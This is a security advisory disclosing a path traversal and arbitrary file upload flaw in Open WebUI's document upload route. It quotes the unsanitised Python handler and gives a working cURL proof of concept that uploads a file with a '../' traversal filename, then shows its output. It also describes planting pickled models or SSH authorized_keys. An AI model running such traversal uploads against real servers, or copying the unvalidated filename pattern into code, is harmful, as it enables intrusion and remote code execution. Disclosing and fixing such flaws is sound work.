Open WebUI Arbitrary File Upload + Path Traversal

Vulnerability Description

Attacker controlled files can be uploaded to arbitrary locations on the web server’s filesystem by abusing a path traversal vulnerability.

Technical Description

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the /rag/api/v1/doc API route:

 @app.post("/doc")
 def store_doc(
     collection_name: Optional[str] = Form(None),
     file: UploadFile = File(...),
     user=Depends(get_current_user),
 ):
     # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"

     print(file.content_type)
     try:
         filename = file.filename
         file_path = f"{UPLOAD_DIR}/{filename}"
         contents = file.file.read()
         with open(file_path, "wb") as f:
             f.write(contents)
             f.close()

The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.

This can be used to upload malicious models. These models
are often distributed as pickled python objects and can
be leveraged to execute arbitrary python bytecode once
deserialized. Alternatively, an attacker can leverage existing
services, such as SSH, to upload an attacker controlled
`authorized_keys` file to remotely connect to the machine.

Mitigation and Remediation Recommendation

This issue was remediated in Open WebUI release v0.1.117 on 2024.04.03.

Credit

This vulnerability was discovered by Jaggar Henry and Sean Segreti of KoreLogic, Inc.

Proof of Concept

Execute the following cURL command:

 TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\
 curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc"

Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:

 ollama@webserver:~$ cat /tmp/pwned.txt
 korelogic
 ollama@webserver:~$

The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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